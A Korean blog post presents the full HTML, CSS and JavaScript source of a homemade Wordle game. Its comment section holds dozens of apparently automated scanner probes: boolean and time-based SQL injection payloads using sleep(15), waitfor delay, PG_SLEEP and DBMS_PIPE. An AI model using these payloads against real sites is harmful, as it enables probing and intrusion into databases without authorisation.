Html,Css,JavaScript
Html
Canvas
게임
Download: wordle.html
Html로 만든 Wordle(워들) 게임
March 19, 2024, 11:30 p.m.
이 게임도 군대 시절 심심해서 만들었던 워들 게임입니다.
다섯글자로 된 영어단어를 맞추는 숫자야구와 비슷한 게임이라고 보시면 됩니다.
각 input에 글자를 입력하면 다음 input으로 자동으로 초점이 옮겨가게 하는게 조금 어려웠네요.
밑은 코드 전문입니다. 첨부파일과 깃허브 링크도 있으니 참고하시길 바랍니다.
<html>
<head>
<title>WORDLE</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css" integrity="sha384-B0vP5xmATw1+K9KRQjQERJvTumQW0nPEzvF6L/Z6nronJ3oUOFUFpCjEUQouq2+l" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.min.js" integrity="sha384-w1Q4orYjBQndcko6MimVbzY0tgp4pWB4lZ7lr30WKz0vr/aWKhXdBNmNb5D92v7s" crossorigin="anonymous"></script>
</head>
<body>
<style>
.wordle
{
text-transform: uppercase;
text-align: center;
width : 60px;
height: 60px;
font-weight:bold;
font-size: 40px;
border-radius: 5%;
border: solid;
border-width: medium;
border-color: white;
}
</style>
<h1 style="font-weight: bold; font-size: 40px;"class="text-center">WORDLE</h1>
<div class="container my-3">
<form method="post" action="javascript: submit();"class="post-form text-center" id="a" autocomplete="off">
<input type="text" size="1" maxlength="1" class="wordle" name="1" required autofocus onkeyup="moveToNext(this, 0)">
<input type="text" size="1" maxlength="1" class="wordle" name="2" required onkeyup="moveToNext(this, 1)">
<input type="text" size="1" maxlength="1" class="wordle" name="3" required onkeyup="moveToNext(this, 2)">
<input type="text" size="1" maxlength="1" class="wordle" name="4" required onkeyup="moveToNext(this, 3)">
<input type="text" size="1" maxlength="1" class="wordle" name="5" required onkeyup="moveToNext(this, 4)">
<input type="submit" value="" style="display:none;">
</form>
<form method="post" action="javascript: submit();"class="post-form text-center" id="b" autocomplete="off">
<input type="text" size="1" maxlength="1" class="wordle" name="1" required autofocus onkeyup="moveToNext(this, 0)">
<input type="text" size="1" maxlength="1" class="wordle" name="2" required onkeyup="moveToNext(this, 1)">
<input type="text" size="1" maxlength="1" class="wordle" name="3" required onkeyup="moveToNext(this, 2)">
<input type="text" size="1" maxlength="1" class="wordle" name="4" required onkeyup="moveToNext(this, 3)">
<input type="text" size="1" maxlength="1" class="wordle" name="5" required onkeyup="moveToNext(this, 4)">
<input type="submit" value="" style="display:none;">
</form>
<form method="post" action="javascript: submit();"class="post-form text-center" id="c" autocomplete="off">
<input type="text" size="1" maxlength="1" class="wordle" name="1" required autofocus onkeyup="moveToNext(this, 0)">
<input type="text" size="1" maxlength="1" class="wordle" name="2" required onkeyup="moveToNext(this, 1)">
<input type="text" size="1" maxlength="1" class="wordle" name="3" required onkeyup="moveToNext(this, 2)">
<input type="text" size="1" maxlength="1" class="wordle" name="4" required onkeyup="moveToNext(this, 3)">
<input type="text" size="1" maxlength="1" class="wordle" name="5" required onkeyup="moveToNext(this, 4)">
<input type="submit" value="" style="display:none;">
</form>
<form method="post" action="javascript: submit();"class="post-form text-center" id="d" autocomplete="off">
<input type="text" size="1" maxlength="1" class="wordle" name="1" required autofocus onkeyup="moveToNext(this, 0)">
<input type="text" size="1" maxlength="1" class="wordle" name="2" required onkeyup="moveToNext(this, 1)">
<input type="text" size="1" maxlength="1" class="wordle" name="3" required onkeyup="moveToNext(this, 2)">
<input type="text" size="1" maxlength="1" class="wordle" name="4" required onkeyup="moveToNext(this, 3)">
<input type="text" size="1" maxlength="1" class="wordle" name="5" required onkeyup="moveToNext(this, 4)">
<input type="submit" value="" style="display:none;">
</form>
<form method="post" action="javascript: submit();"class="post-form text-center" id="e" autocomplete="off">
<input type="text" size="1" maxlength="1" class="wordle" name="1" required autofocus onkeyup="moveToNext(this, 0)">
<input type="text" size="1" maxlength="1" class="wordle" name="2" required onkeyup="moveToNext(this, 1)">
<input type="text" size="1" maxlength="1" class="wordle" name="3" required onkeyup="moveToNext(this, 2)">
<input type="text" size="1" maxlength="1" class="wordle" name="4" required onkeyup="moveToNext(this, 3)">
<input type="text" size="1" maxlength="1" class="wordle" name="5" required onkeyup="moveToNext(this, 4)">
<input type="submit" value="" style="display:none;">
</form>
<h1 class="text-center text-success" id="clear" style="display:none;">Clear!</h1>
<h1 class="text-center text-warning" id="warn" style="display:none;">Failed....</h1>
</div>
<script>
var ANSWERS = [
'STAND', 'ROUND', 'SPACE', 'TODAY', 'QUEST', 'ORDER', 'BRAND', 'KOREA',
'FOUND' ,'TREND', 'BRAVO', 'ALPHA', 'GREAT', 'PROUD', 'SCENT', 'POUCH', 'WHITE',
'ZEBRA', 'LATEX', 'CROWN', 'START', 'SMILE', 'STAND', 'ALERT', 'CLEAR', 'PHONE',
'RETRO', 'BRICK', 'WORLD', 'SMITE', 'FLASH', 'INPUT', 'TASTY', 'SPEND', 'FALSE',
'PUNCH', 'BREAK', 'SPIKE', 'PRIDE', 'HOUSE', 'CRASH', 'CRUSH', 'HYPER', 'BONUS',
'BROWN', 'FLAKE', 'EIGHT', 'WIDTH', 'CHAOS', 'ANGLE', 'MARCH', 'PAUSE', 'STACK',
'GUIDE', 'INPUT', 'VALUE', 'BLOCK', 'SCORE', 'STORE', 'SOUTH', 'NORTH', 'PLACE',
];
var ANSWER = ANSWERS[Math.round(Math.random()*ANSWERS.length)-1];
var idxs = 'abcde';
var idx = -1;
var clear = document.querySelector('#clear');
var warn = document.querySelector ('#warn');
var OFFSET = 0;
getForm();
function next ()
{
console.log("hello");
}
function getForm()
{
if (idx<4)
{
idx++;
form = document.querySelector('#'+idxs[idx]);
inputs = form.getElementsByTagName("input")
for(var i =0; i<5; i++)
{
inp = inputs[i];
inp.readOnly = false;
inp.style.borderColor = "gray";
}
}
else
{
warn.style.display = "block";
}
}
function submit()
{
var CLEAR = true;
for(var i = 0; i<5; i++)
{
inp = inputs[i];
tar = inp.value;
tar = tar.toUpperCase();
inp.readOnly=true;
if (tar==ANSWER[i])
{
inp.style.backgroundColor = "#4ad964";
inp.style.borderColor = "#4ad964";
}
else
{
CLEAR = false;
for (var j=0; j<5; j++)
{
inp.style.backgroundColor = "gray";
inp.style.borderColor = "gray";
if(ANSWER[j]==tar)
{
inp.style.backgroundColor = "#ead24a";
inp.style.borderColor = "#ead24a";
break;
}
}
}
}
btn = inputs[5];
btn.remove();
OFFSET += 5;
if (OFFSET < 25)
{
var winputs = document.querySelectorAll('input.wordle');
winputs[OFFSET].focus();
}
if (CLEAR)
{
clear.style.display = "block";
}
else
{
getForm();
}
}
function moveToNext(current, nextIndex) {
if (current.value.length === current.maxLength) {
const inputs = document.querySelectorAll('input.wordle');
if (nextIndex < 4) {
inputs[nextIndex + 1 + OFFSET].focus();
}
}
}
</script>
</body>
</html>
Download: wordle.html
Html,Css,JavaScript 의 다른 글 보기
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1 OR 2+368-368-1=0+0+0+1 --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1 OR 2+992-992-1=0+0+0+1
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1' OR 2+41-41-1=0+0+0+1 --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1' OR 2+993-993-1=0+0+0+1 or 'QpAbtglU'='
Jan. 22, 2025, 7:51 a.m.
pHqghUme
-1" OR 2+532-532-1=0+0+0+1 --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555*if(now()=sysdate(),sleep(15),0)
Jan. 22, 2025, 7:51 a.m.
pHqghUme
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
Jan. 22, 2025, 7:51 a.m.
pHqghUme
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
Jan. 22, 2025, 7:51 a.m.
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1; waitfor delay '0:0:15' --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1); waitfor delay '0:0:15' --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1 waitfor delay '0:0:15' --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555Gurq4mxN'; waitfor delay '0:0:15' --
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1 OR 621=(SELECT 621 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1) OR 397=(SELECT 397 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555-1)) OR 695=(SELECT 695 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
5555GM5FnMS' OR 628=(SELECT 628 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555ZYXChuG0') OR 959=(SELECT 959 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
55553ba8dqa')) OR 779=(SELECT 779 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555'"
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555����%2527%2522\'\"
Jan. 22, 2025, 7:51 a.m.
pHqghUme
@@qJFgG
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.
pHqghUme
555
Jan. 22, 2025, 7:51 a.m.